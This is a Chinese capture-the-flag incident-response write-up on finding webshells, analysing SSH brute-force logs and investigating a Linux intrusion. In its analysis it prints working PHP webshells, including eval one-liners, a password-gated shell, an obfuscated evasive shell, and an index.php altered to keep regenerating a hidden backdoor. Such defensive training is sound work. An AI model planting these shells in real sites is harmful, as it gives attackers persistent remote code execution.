玄机-第一章

本文最后更新于 2025年3月20日 晚上

webshell 查杀 & Linux 日志分析 & Linux 入侵排查

查找 shell 方法

查找有 Webshell 特征的文件内容

1
2
3
4
find ./ type f -name ".jsp" | xargs grep "exec("
find ./ type f -name ".php" | xargs grep "eval("
find ./ type f -name ".asp" | xargs grep "execute("
find ./ type f -name ".aspx" | xargs grep "eval("

对于免杀 Webshell,可以查看是否使用编码

1
find ./ type f -name "*.php" | xargs grep "base64_decode"

Linux 日志分析

简介

1
2
3
4
5
6
7
账号 root 密码 linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

Q1

Linux 默认日志存放在 /var/log 目录下,所以直接进入

发现有很多日志文件,auth.log.1 文件是一个非常重要的系统日志文件,包含了许多与安全相关的信息,可以用于监控、分析和排查系统故障和安全问题,所以我们可以查看它的内容信息,根据题目来看在爆破 root 账号,那么可以 grep 过滤一些

1
cat auth.log.1 | grep -a "Failed password for root"

找到三个 IP:192.168.200.32,192.168.200.2,192.168.200.31

1
flag{192.168.200.2,192.168.200.31,192.168.200.32}

Q2

需要查看成功登录的 IP

1
cat auth.log.1 | grep -a "Accepted"

1
flag{192.168.200.2}

Q3

对登陆失败的用户名进行查找

1
cat auth.log.1 | grep -a "Failed password"

可以发现有 6 个用户:test1、test2、test3、root、user、hello

1
flag{user,hello,root,test3,test2,test1}

Q4

前面 Q2 已经查找到了 IP 192.168.200.2 是登陆成功了的,所以这里看 192.168.200.2 的次数就正确

1
cat auth.log.1 | grep -a "Failed password for root"

1
flag{4}

Q5

题目说新建了一个用户,查找 new user

1
cat auth.log.1 | grep -a "new user"

1
flag{test2}

webshell 查杀

简介

1
2
3
4
5
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

Q1

一般来说网页文件一般在 /var/www/html 路径下,可以进入目录查找,php 文件查找危险函数 eval()

1
find ./ -name "*.php" | xargs grep "eval("
1
2
3
4
root@ip-10-0-10-1:/var/www/html# find ./ -name "*.php" | xargs grep "eval("
./include/gz.php: eval($payload);
./include/Db/.Mysqli.php: eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>

查看 gz.php 内容

拿到 flag

1
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

Q2

可以看到 webshell 内容中有

1
2
3
@session_start();	//创建或者重启一个会话
@set_time_limit(0); //设置程序最长运行时间:永久
@error_reporting(0); // 关闭错误报告

这是哥斯拉生成的 webshell 特征,哥斯拉项目地址:https://github.com/BeichenDream/Godzilla

1
flag{39392de3218c333f794befef07ac9257}

Q3

寻找隐藏 shell,在 Q1 中有危险函数的还有其他文件,访问目录查找

1
./include/Db/.Mysqli.php

对路径 /var/www/html/include/Db/.Mysqli.php 进行 md5 加密

1
2
root@ip-10-0-10-1:/var/www/html/include/Db# echo -n "/var/www/html/include/Db/.Mysqli.php" |md5sum |cut -d " " -f1
aebac0e58cd6c5fad1695ee4d1ac1919

得到 flag

1
flag{aebac0e58cd6c5fad1695ee4d1ac1919}

Q4

免杀马通过静态检测是检测不到的,因为在免杀的过程中将 webshell 的特征值以及特征函数都给去掉了,但是 webshell 执行会在网站日志留下记录,所以可以到日志里面看有无可疑记录

目录下有 apache2 日志记录,然后查看其目录下的 access.log 文件

可以看到 /wap 下的 top.php 文件执行了两次 phpinfo()

查看 top.php 文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];

是免杀马了,md5 加密/var/www/html/wap/top.php

1
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

Linux 入侵排查

简介

1
2
3
4
5
6
7
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

Q1

进入 web 目录查找

一般来说 php 文件比较可疑,查看 1.php

1
<?php eval($_POST[1]);?>

拿到 flag

1
flag{1}

Q2

过滤 php 文件

1
2
3
4
root@ip-10-0-10-7:/var/www/html# find ./ -name "*php" | xargs grep "eval("
./.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./1.php:<?php eval($_POST[1]);?>

md5 解密

1
flag{hello}

Q3

因为前面显示 index.php 文件中也有木马密码,所以查看一下文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

能看见通过这个文件生成了不死马

1
flag{index.php}

Q4

在 web 目录下是有一个可疑的 'shell(1).elf' 文件,赋予权限然后运行

虽然没有回显,但是可以再开一个终端,然后查找连接情况

1
2
3
4
5
6
7
netstat -antpl

# -a:显示所有连接中的端口,包括监听和非监听。
# -n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。
# -t:显示 TCP 连接。
# -p:显示使用每个套接字的程序。
# -l:显示监听状态的套接字。

找到 IP

1
flag{10.11.55.21}

Q5

同样找到端口

1
flag{3333}

玄机-第一章
http://example.com/2025/03/20/玄机-第一章/
作者
butt3rf1y
发布于
2025年3月20日
许可协议